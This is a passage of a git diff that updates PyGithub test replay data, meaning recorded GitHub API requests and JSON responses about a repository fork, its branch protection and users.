('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"name":"org-team","id":849110,"slug":"org-team","description":"","privacy":"closed","url":"https://api.github.com/teams/849110","members_url":"https://api.github.com/teams/849110/members{/member}","repositories_url":"https://api.github.com/teams/849110/repos","permission":"pull"}] - diff --git a/tests/ReplayData/Branch.testReplaceUserPushRestrictions.txt b/tests/ReplayData/Branch.testReplaceUserPushRestrictions.txt index 7355cc28f3..bed9627c3d 100644 --- a/tests/ReplayData/Branch.testReplaceUserPushRestrictions.txt +++ b/tests/ReplayData/Branch.testReplaceUserPushRestrictions.txt @@ -30,4 +30,3 @@ None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:07:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}] - diff --git a/tests/ReplayData/BranchProtection.setUp.txt b/tests/ReplayData/BranchProtection.setUp.txt index f3072a3022..df131337d0 100644 --- a/tests/ReplayData/BranchProtection.setUp.txt +++ b/tests/ReplayData/BranchProtection.setUp.txt @@ -2,42 +2,31 @@ https GET api.github.com None -/user +/repos/curvewise-forks/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"27524c635501121933f4f78c95b1945a"'), ('date', 'Fri, 18 May 2012 20:12:19 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24} +[('Server', 'GitHub.com'), ('Date', 'Fri, 09 Jun 2023 16:53:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"df683b827e7c82340d835f6bf47652fca31804e1fa7ca705ed2c97ab38e0772a"'), ('Last-Modified', 'Thu, 08 Jun 2023 17:42:36 GMT'), ('X-OAuth-Scopes', 'read:org, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1686333233'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D5E0:378B:CA42FC6:19D676AA:64835921')] +{"id":586160171,"node_id":"R_kgDOIvAYKw","name":"PyGithub","full_name":"curvewise-forks/PyGithub","private":false,"owner":{"login":"curvewise-forks","id":72516939,"node_id":"MDEyOk9yZ2FuaXphdGlvbjcyNTE2OTM5","avatar_url":"https://avatars.githubusercontent.com/u/72516939?v=4","gravatar_id":"","url":"https://api.github.com/users/curvewise-forks","html_url":"https://github.com/curvewise-forks","followers_url":"https://api.github.com/users/curvewise-forks/followers","following_url":"https://api.github.com/users/curvewise-forks/following{/other_user}","gists_url":"https://api.github.com/users/curvewise-forks/gists{/gist_id}","starred_url":"https://api.github.com/users/curvewise-forks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/curvewise-forks/subscriptions","organizations_url":"https://api.github.com/users/curvewise-forks/orgs","repos_url":"https://api.github.com/users/curvewise-forks/repos","events_url":"https://api.github.com/users/curvewise-forks/events{/privacy}","received_events_url":"https://api.github.com/users/curvewise-forks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/curvewise-forks/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/curvewise-forks/PyGithub","forks_url":"https://api.github.com/repos/curvewise-forks/PyGithub/forks","keys_url":"https://api.github.com/repos/curvewise-forks/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/curvewise-forks/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/curvewise-forks/PyGithub/teams","hooks_url":"https://api.github.com/repos/curvewise-forks/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/curvewise-forks/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/curvewise-forks/PyGithub/events","assignees_url":"https://api.github.com/repos/curvewise-forks/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/curvewise-forks/PyGithub/tags","blobs_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/curvewise-forks/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/curvewise-forks/PyGithub/languages","stargazers_url":"https://api.github.com/repos/curvewise-forks/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/curvewise-forks/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/curvewise-forks/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/curvewise-forks/PyGithub/subscription","commits_url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/curvewise-forks/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/curvewise-forks/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/curvewise-forks/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/curvewise-forks/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/curvewise-forks/PyGithub/merges","archive_url":"https://api.github.com/repos/curvewise-forks/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/curvewise-forks/PyGithub/downloads","issues_url":"https://api.github.com/repos/curvewise-forks/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/curvewise-forks/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/curvewise-forks/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/curvewise-forks/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/curvewise-forks/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/curvewise-forks/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/curvewise-forks/PyGithub/deployments","created_at":"2023-01-07T06:21:50Z","updated_at":"2023-06-08T17:42:36Z","pushed_at":"2023-06-08T17:42:22Z","git_url":"git://github.com/curvewise-forks/PyGithub.git","ssh_url":"git@github.com:curvewise-forks/PyGithub.git","clone_url":"https://github.com/curvewise-forks/PyGithub.git","svn_url":"https://github.com/curvewise-forks/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11822,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","organization":{"login":"curvewise-forks","id":72516939,"node_id":"MDEyOk9yZ2FuaXphdGlvbjcyNTE2OTM5","avatar_url":"https://avatars.githubusercontent.com/u/72516939?v=4","gravatar_id":"","url":"https://api.github.com/users/curvewise-forks","html_url":"https://github.com/curvewise-forks","followers_url":"https://api.github.com/users/curvewise-forks/followers","following_url":"https://api.github.com/users/curvewise-forks/following{/other_user}","gists_url":"https://api.github.com/users/curvewise-forks/gists{/gist_id}","starred_url":"https://api.github.com/users/curvewise-forks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/curvewise-forks/subscriptions","organizations_url":"https://api.github.com/users/curvewise-forks/orgs","repos_url":"https://api.github.com/users/curvewise-forks/repos","events_url":"https://api.github.com/users/curvewise-forks/events{/privacy}","received_events_url":"https://api.github.com/users/curvewise-forks/received_events","type":"Organization","site_admin":false},"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-08T20:29:20Z","pushed_at":"2023-06-09T13:46:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13939,"stargazers_count":6054,"watchers_count":6054,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1637,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":255,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1637,"open_issues":255,"watchers":6054,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-08T20:29:20Z","pushed_at":"2023-06-09T13:46:47Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13939,"stargazers_count":6054,"watchers_count":6054,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1637,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":255,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1637,"open_issues":255,"watchers":6054,"default_branch":"master"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":1637,"subscribers_count":0} https GET api.github.com None -/repos/jacquev6/PyGithub +/repos/curvewise-forks/PyGithub/branches/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c5eec74d4b76b80283636a8efe1a132c"'), ('date', 'Fri, 18 May 2012 20:12:20 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-18T05:29:54Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T05:18:16Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} +[('Server', 'GitHub.com'), ('Date', 'Fri, 09 Jun 2023 16:53:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"075a0661366a824063b2aa3c3ff62b3ac4ecd6eeefc8e1d6f6675342fe7ab0a6"'), ('X-OAuth-Scopes', 'read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1686333233'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D5E2:7DDB:CF41795:1A7935E9:64835922')] +{"name":"master","commit":{"sha":"a4fce2bba495bbba81543d71a7e1c9523bf34495","node_id":"C_kwDOIvAYK9oAKGE0ZmNlMmJiYTQ5NWJiYmE4MTU0M2Q3MWE3ZTFjOTUyM2JmMzQ0OTU","commit":{"author":{"name":"Paul Melnikow","email":"github@paulmelnikow.com","date":"2023-06-08T17:42:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2023-06-08T17:42:21Z"},"message":"Create pylint.yml (#1)","tree":{"sha":"5c862cb0c7ce81d72b0f7f2ee25a3b9c8caba177","url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/trees/5c862cb0c7ce81d72b0f7f2ee25a3b9c8caba177"},"url":"https://api.github.com/repos/curvewise-forks/PyGithub/git/commits/a4fce2bba495bbba81543d71a7e1c9523bf34495","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJkghL9CRBK7hj4Ov3rIwAAsTEIAHZScZ1WcJOuHujBKw850u6v\nAig6k8fbhKC12lk2zrpBrb0NL1AmujnmX2D9Ioe7geEl7pz0mwOENdMo6CmA8SQA\nZx/jr2NxguDj6Z0LY6mWQgDMVMmzxV63iUJCWsnAPwHW7lvVK6BJTdrNBtaEgq3D\n7gZPrUBAyxF/6SFivfSAMr2nTFdSrvg9jq+0DlwqYC4VxIveWbp7HVH5oKOApmYv\ndP6lnsmg3p2QwrXNret8AgBMVWw2F1i5PVcMJmstSonALb5+jPAseFUXwJefQwIQ\nvfJl7R6cviWK/o04UR1Xo4YZc8AkftHn0yQ01rfyMaOMqIODWSBjDFv2tcU0zEY=\n=ogx1\n-----END PGP SIGNATURE-----\n","payload":"tree 5c862cb0c7ce81d72b0f7f2ee25a3b9c8caba177\nparent 6c53e5442a80094025b390772d3e00a0d8443a75\nauthor Paul Melnikow 1686246141 -0400\ncommitter GitHub 1686246141 -0600\n\nCreate pylint.yml (#1)\n\n"}},"url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits/a4fce2bba495bbba81543d71a7e1c9523bf34495","html_url":"https://github.com/curvewise-forks/PyGithub/commit/a4fce2bba495bbba81543d71a7e1c9523bf34495","comments_url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits/a4fce2bba495bbba81543d71a7e1c9523bf34495/comments","author":{"login":"paulmelnikow","id":1487036,"node_id":"MDQ6VXNlcjE0ODcwMzY=","avatar_url":"https://avatars.githubusercontent.com/u/1487036?v=4","gravatar_id":"","url":"https://api.github.com/users/paulmelnikow","html_url":"https://github.com/paulmelnikow","followers_url":"https://api.github.com/users/paulmelnikow/followers","following_url":"https://api.github.com/users/paulmelnikow/following{/other_user}","gists_url":"https://api.github.com/users/paulmelnikow/gists{/gist_id}","starred_url":"https://api.github.com/users/paulmelnikow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulmelnikow/subscriptions","organizations_url":"https://api.github.com/users/paulmelnikow/orgs","repos_url":"https://api.github.com/users/paulmelnikow/repos","events_url":"https://api.github.com/users/paulmelnikow/events{/privacy}","received_events_url":"https://api.github.com/users/paulmelnikow/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6c53e5442a80094025b390772d3e00a0d8443a75","url":"https://api.github.com/repos/curvewise-forks/PyGithub/commits/6c53e5442a80094025b390772d3e00a0d8443a75","html_url":"https://github.com/curvewise-forks/PyGithub/commit/6c53e5442a80094025b390772d3e00a0d8443a75"}]},"_links":{"self":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master","html":"https://github.com/curvewise-forks/PyGithub/tree/master"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"enforcement_level":"everyone","contexts":["build (3.10)"],"checks":[{"context":"build (3.10)","app_id":15368}]}},"protection_url":"https://api.github.com/repos/curvewise-forks/PyGithub/branches/master/protection"} https GET api.github.com None -/repos/jacquev6/PyGithub/branches/integrations -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('status', '200 